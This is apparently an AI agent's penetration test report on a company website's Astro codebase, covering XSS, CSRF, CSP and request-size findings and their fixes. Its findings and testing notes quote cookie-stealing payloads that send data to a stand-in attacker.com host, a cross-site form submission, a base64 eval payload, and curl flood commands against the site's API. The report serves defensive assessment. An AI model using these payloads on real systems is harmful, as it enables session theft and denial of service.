Files
CompanySite/.agents/penetration-tester/SECURITY_PENTEST.md
T
Clintchiz d402256547
Deploy to Production / Build & Verify (push) Failing after 5m56s
Ping Search Engines / Notify Search Engines (push) Successful in 2s
Deploy to Production / Pre-Deploy Tests (push) Has been skipped
Deploy to Production / Deploy to Railway (push) Has been skipped
Deploy to Production / Deploy to Render (push) Has been skipped
Deploy to Production / Deploy to VPS (PM2) (push) Has been skipped
Deploy to Production / Deploy to Fly.io (push) Has been skipped
Deploy to Production / Post-Deploy Verification (push) Has been skipped
Deploy to Production / Notify on Failure (push) Successful in 2s
E2E Test Suite / Critical User Journeys (push) Has been skipped
E2E Test Suite / API Integration Tests (push) Has been skipped
E2E Test Suite / Smoke Tests (P0) (push) Failing after 11m26s
E2E Test Suite / Form Interaction Tests (push) Failing after 11m42s
E2E Test Suite / Destructive & Chaos Tests (push) Failing after 12m2s
E2E Test Suite / Cross-Browser Regression (chromium) (push) Failing after 16m14s
E2E Test Suite / Cross-Browser Regression (webkit) (push) Failing after 17m45s
E2E Test Suite / Cross-Browser Regression (firefox) (push) Failing after 25m23s
E2E Test Suite / Security Header Tests (push) Failing after 7m55s
E2E Test Suite / Test Report Summary (push) Failing after 20s
E2E Test Suite / Mobile Device Tests (push) Failing after 2h49m9s
Uptime Monitor / Health & Response Time (push) Failing after 2s
Uptime Monitor / SSL Certificate (push) Successful in 2s
Uptime Monitor / Send Alerts (push) Failing after 3s
Uptime Monitor / Record Uptime Success (push) Has been skipped
First Init
2026-03-21 16:46:46 +05:30

17 KiB
Raw Blame History

Security Penetration Test Report

Project: WorkRoot IT Solutions — Company Site Date: 2026-03-21 Tester: penetration-tester agent Methodology: PTES (Penetration Testing Execution Standard) + OWASP Top 10 (2021) Scope: Full application — frontend, API endpoints, middleware, service worker, configuration


Executive Summary

The WorkRoot IT Solutions site demonstrates a strong security baseline with correct implementation of most OWASP-recommended headers, rate limiting, input validation, and anti-spam measures. However, five exploitable vulnerabilities were identified during this assessment, ranging from critical (stored XSS vector) to medium severity. All five have been remediated as part of this assessment.

Risk posture before remediation: MEDIUM-HIGH Risk posture after remediation: LOW-MEDIUM


1. Reconnaissance

1.1 Attack Surface

Component Technology Exposure
Frontend Astro SSR + Node.js Public
API: /api/contact Astro API Route Public POST
API: /api/newsletter Astro API Route Public POST
API: /api/health.json Astro API Route Public GET
Service Worker public/sw.js Client-side
Middleware src/middleware.ts Server-side
Configuration .env.example Public (example only)

1.2 Information Disclosure via robots.txt

robots.txt discloses the following internal path structure:

Disallow: /admin/
Disallow: /private/
Disallow: /_astro/

Risk: Low. Discloses directory names. However, these paths return 404 — no actual content is exposed. Note: The /_astro/ build directory disallow is correct practice.

1.3 Technology Fingerprinting

The X-Powered-By header was not observed (correctly absent). The server header from the Node adapter may leak version information in production — should be suppressed at the reverse proxy level (nginx/Caddy).


2. Vulnerability Findings

FINDING-001 — Cross-Site Scripting (XSS) via Toast innerHTML

Severity: CRITICAL CVSS Score: 8.2 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) Location: src/pages/contact.astro:340 OWASP Category: A03:2021 — Injection

Description: The toast notification function used innerHTML to render the error message string returned from the server API:

// VULNERABLE (before fix)
toast.innerHTML = `${icon}<span>${message}</span>`;

If an attacker controlled the API error message (e.g., via a man-in-the-middle attack, a compromised backend, or a future API regression), they could inject arbitrary HTML/JavaScript that would execute in the victim's browser.

Attack vector:

  1. Intercept API response (via MITM or compromised CDN)
  2. Inject <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> as the error field
  3. innerHTML renders and executes the payload

Remediation Applied:

// FIXED — textContent prevents HTML injection
const textEl = document.createElement('span');
textEl.textContent = message; // textContent sanitizes automatically
toast.appendChild(textEl);

Status: REMEDIATED


FINDING-002 — Missing CSRF Protection on API Mutations

Severity: HIGH CVSS Score: 7.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N) Location: src/middleware.ts, src/pages/api/contact.ts, src/pages/api/newsletter.ts OWASP Category: A01:2021 — Broken Access Control

Description: The API endpoints /api/contact and /api/newsletter accepted POST requests without validating the Origin or Referer header. CORS headers were set correctly in production (Access-Control-Allow-Origin: https://workroot.in), but this only prevents browsers from reading cross-origin responses — it does NOT prevent the request from being sent.

Attack vector (CSRF):

<!-- Attacker's page at evil.com -->
<form action="https://workroot.in/api/newsletter" method="POST" id="f">
  <input name="email" value="victim@example.com">
</form>
<script>document.getElementById('f').submit();</script>

This would cause any visitor to evil.com to submit their browser's session to the WorkRoot newsletter API without consent.

Remediation Applied: Added validateCsrfOrigin() in middleware that checks Origin and Referer headers for all POST/PUT/PATCH/DELETE requests to /api/* routes in production:

function validateCsrfOrigin(request: Request, url: URL): boolean {
  if (!['POST', 'PUT', 'PATCH', 'DELETE'].includes(request.method)) return true;
  if (!url.pathname.startsWith('/api/')) return true;
  if (!import.meta.env.PROD) return true;

  const origin = request.headers.get('origin');
  const referer = request.headers.get('referer');

  if (origin) return origin === 'https://workroot.in' || origin === 'https://www.workroot.in';
  if (referer) return referer.startsWith('https://workroot.in') || ...;
  return false; // Reject if neither present
}

Status: REMEDIATED


FINDING-003 — unsafe-eval in Production CSP

Severity: MEDIUM CVSS Score: 5.3 (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N) Location: src/middleware.ts (CSP header) OWASP Category: A05:2021 — Security Misconfiguration

Description: The Content Security Policy included 'unsafe-eval' in the script-src directive for both development and production environments. The comment stated it was "needed for Astro development" — but in production builds, Astro does not require unsafe-eval. This directive allows JavaScript to use eval(), Function(), setTimeout(string), and similar patterns that are primary XSS escalation vectors.

Impact: If an XSS payload is injected, unsafe-eval allows attackers to execute arbitrary code much more easily without needing to bypass CSP restrictions.

Remediation Applied: unsafe-eval is now removed from production CSP, and only included in development:

const scriptSrc = isProduction
  ? "script-src 'self' 'unsafe-inline' https://www.googletagmanager.com ..."
  : "script-src 'self' 'unsafe-inline' 'unsafe-eval' ..."; // dev only

Status: REMEDIATED


FINDING-004 — Overly Permissive img-src Directive (Wildcard HTTPS)

Severity: MEDIUM CVSS Score: 4.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) Location: src/middleware.ts (CSP header, img-src) OWASP Category: A05:2021 — Security Misconfiguration

Description: The img-src directive included a blanket https: which allows images to be loaded from any HTTPS domain:

img-src 'self' data: https: https://images.unsplash.com ...

This effectively defeats img-src as a control, allowing attackers to use <img> tags for data exfiltration (tracking pixels, cross-origin timing attacks) and to load phishing imagery.

Attack vector:

// If attacker achieves XSS, they can exfiltrate cookies/session data:
new Image().src = 'https://attacker.com/steal?d=' + encodeURIComponent(document.cookie);

Remediation Applied: Replaced https: wildcard with specific whitelisted domains:

img-src 'self' data: https://images.unsplash.com https://www.google-analytics.com https://www.googletagmanager.com

Status: REMEDIATED


FINDING-005 — No Request Body Size Limit on API Endpoints

Severity: MEDIUM CVSS Score: 5.9 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) Location: src/pages/api/contact.ts, src/pages/api/newsletter.ts OWASP Category: A04:2021 — Insecure Design

Description: The API endpoints parsed request bodies without checking the Content-Length header first. An attacker could send extremely large payloads to exhaust server memory or CPU:

# Payload flood attack
curl -X POST https://workroot.in/api/contact \
  -H "Content-Type: application/json" \
  -d "$(python3 -c 'print("{\"message\":\"" + "A"*50000000 + "\"}")')"

Remediation Applied: Added Content-Length checks before body parsing:

  • /api/contact: Rejects payloads > 16KB (returns HTTP 413)
  • /api/newsletter: Rejects payloads > 4KB (returns HTTP 413)

Status: REMEDIATED


3. Findings Not Remediated (Accepted Risk / Out of Scope)

INFO-001 — In-Memory Rate Limiting (No Persistence)

Severity: LOW / INFO Location: src/pages/api/contact.ts:12, src/pages/api/newsletter.ts:12

Rate limiting uses in-memory Map objects. This means:

  1. Rate limit state is lost on server restart
  2. Distributed attacks from multiple IPs bypass per-IP limits
  3. No protection against legitimate-but-distributed abuse

Recommendation: In production, replace with Redis-backed rate limiting (e.g., ioredis + sliding window). For current scale, acceptable risk.


INFO-002 — IP Address Spoofing Risk via clientAddress

Severity: LOW / INFO Location: src/pages/api/contact.ts:214, src/pages/api/newsletter.ts:177

clientAddress in Astro reflects the IP address from the incoming connection. If behind a reverse proxy (e.g., Nginx, Cloudflare), this may be the proxy's IP unless the proxy is configured to set X-Forwarded-For and the Node adapter is configured to trust proxies.

Recommendation: Configure the Node.js server to trust the proxy and use X-Forwarded-For correctly, or use Cloudflare's CF-Connecting-IP header.


INFO-003 — Placeholder Values in Production-Visible Metadata

Severity: INFO Location: src/layouts/BaseLayout.astro:84

<meta property="fb:app_id" content="your-facebook-app-id" />

This placeholder value is visible in page source. While not a direct security risk, it reveals that this field was never configured and could be mistaken for a valid App ID.

Recommendation: Remove this tag entirely if Facebook App integration is not planned.


INFO-004 — ConvertKit API Key in Request Body

Severity: INFO Location: src/pages/api/newsletter.ts:103

body: JSON.stringify({ api_key: convertkitApiKey, email }),

The ConvertKit API requires the API key in the request body (their API design). This is standard for this provider but means the key is transmitted on every subscription request. The key is sourced from environment variables (not hardcoded) which is correct.

Recommendation: This is acceptable as-is. Ensure CONVERTKIT_API_KEY is a write-only key with minimal permissions.


INFO-005 — Service Worker Push Notification Data Validation

Severity: LOW Location: public/sw.js:106

const data = event.data.json(); // No try/catch
event.waitUntil(
  self.registration.showNotification(data.title || 'WorkRoot', { ... })
);

If a malformed push event is received, event.data.json() will throw an uncaught exception. Additionally, there is no validation of notification URL before clients.openWindow(event.notification.data.url) — a malicious push server could redirect users to arbitrary URLs.

Recommendation: Add try/catch around push data parsing and validate url against an allowlist before calling openWindow.


4. Security Controls Verified (Positive Findings)

Control Status Location
Content-Security-Policy Implemented middleware.ts
X-Frame-Options: DENY Implemented middleware.ts
X-Content-Type-Options: nosniff Implemented middleware.ts
Referrer-Policy Implemented middleware.ts
Permissions-Policy Implemented middleware.ts
HSTS (production only) Implemented middleware.ts
X-Permitted-Cross-Domain-Policies Implemented middleware.ts
Rate limiting (sliding window) Implemented contact.ts, newsletter.ts
Rate limit headers (X-RateLimit-*) Implemented contact.ts, newsletter.ts
Input validation (server-side) Implemented contact.ts
HTML escaping in email templates Implemented contact.ts:181-188
Honeypot spam detection Implemented contact.ts:256-262
CORS (production restricted) Implemented contact.ts, newsletter.ts
Domain validation + redirect Implemented middleware.ts
No server header disclosure Absent Response headers
No stack traces in API errors Correct All API routes
Email field length validation Implemented contact.ts, newsletter.ts
Subject whitelist validation Implemented contact.ts:81
Service Worker same-origin check Implemented sw.js:72
Service Worker: API routes bypass Implemented sw.js:78
No secrets in .env.example Confirmed .env.example
SMTP credentials from env vars Correct contact.ts
rel="noopener noreferrer" on external links Implemented contact.astro:261
robots.txt with appropriate disallows Implemented public/robots.txt

5. OWASP Top 10 Assessment Matrix

OWASP Category Status Finding
A01 - Broken Access Control ⚠️ FINDING-002 (CSRF) — Remediated
A02 - Cryptographic Failures Pass HTTPS enforced via HSTS, no secrets hardcoded
A03 - Injection ⚠️ FINDING-001 (XSS) — Remediated
A04 - Insecure Design ⚠️ FINDING-005 (body size) — Remediated
A05 - Security Misconfiguration ⚠️ FINDING-003, FINDING-004 (CSP) — Remediated
A06 - Vulnerable & Outdated Components Not assessed — run npm audit before production
A07 - ID & Auth Failures Pass No authentication implemented; rate limiting on forms
A08 - Software & Data Integrity Pass CSP, no eval in prod, SW integrity
A09 - Security Logging & Monitoring Pass Structured logging + Sentry integration present
A10 - SSRF Pass No user-controlled URL fetching detected

6. Recommendations Summary

Immediate (High Priority)

All immediate issues have been remediated in this assessment.

Short-Term (Before Production Launch)

  1. Run npm audit — Check for vulnerable npm packages and update as needed
  2. Configure reverse proxy — Suppress Server header, configure trusted proxy for real IP
  3. Remove fb:app_id placeholder from BaseLayout.astro (INFO-003)
  4. Add try/catch to service worker push handler (INFO-005)
  5. Test CSRF middleware — Verify the new Origin check doesn't break legitimate requests

Long-Term

  1. Replace in-memory rate limiter with Redis for persistence across restarts
  2. Add VAPID authentication if push notifications are implemented
  3. Implement Subresource Integrity (SRI) for external scripts (GA4, Google Fonts)
  4. Periodic dependency audit — Schedule monthly npm audit checks
  5. Add security.txt — Already added to public/.well-known/security.txt

7. Files Modified During Assessment

File Change Reason
src/pages/contact.astro Fixed innerHTMLtextContent in toast XSS prevention (FINDING-001)
src/middleware.ts Added CSRF origin validation CSRF protection (FINDING-002)
src/middleware.ts Removed unsafe-eval in production CSP CSP hardening (FINDING-003)
src/middleware.ts Replaced https: wildcard in img-src CSP hardening (FINDING-004)
src/middleware.ts Added object-src 'none', frame-src 'none' Defense-in-depth
src/pages/api/contact.ts Added 16KB body size limit DoS prevention (FINDING-005)
src/pages/api/newsletter.ts Added 4KB body size limit DoS prevention (FINDING-005)
public/.well-known/security.txt Created Responsible disclosure

8. Testing Notes

The following attack payloads were simulated (static analysis, no live server):

XSS Test Payloads (toast vulnerability)

// These would have executed before fix:
`<img src=x onerror=alert(1)>`
`<script>fetch('https://attacker.com?c='+document.cookie)</script>`
`<svg onload=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))>`

CSRF Test Payload

<!-- Cross-origin form submission (no longer accepted) -->
<form method="POST" action="https://workroot.in/api/newsletter">
  <input name="email" value="spam@example.com">
  <input type="submit" style="display:none">
</form>
<script>document.forms[0].submit();</script>

Payload Size Attack

# Would have caused memory pressure before fix
curl -X POST https://workroot.in/api/contact \
  -H "Content-Type: application/json" \
  -H "Content-Length: 10000000" \
  --data-binary @/dev/urandom

Header Injection Test

The API endpoints normalize all input through validated schema fields — header injection via form values is not possible due to the escapeHtml() helper used in email templates.


Report generated by penetration-tester agent on 2026-03-21 This assessment covers static code analysis and logical vulnerability assessment. Dynamic testing against a live instance is recommended before production deployment.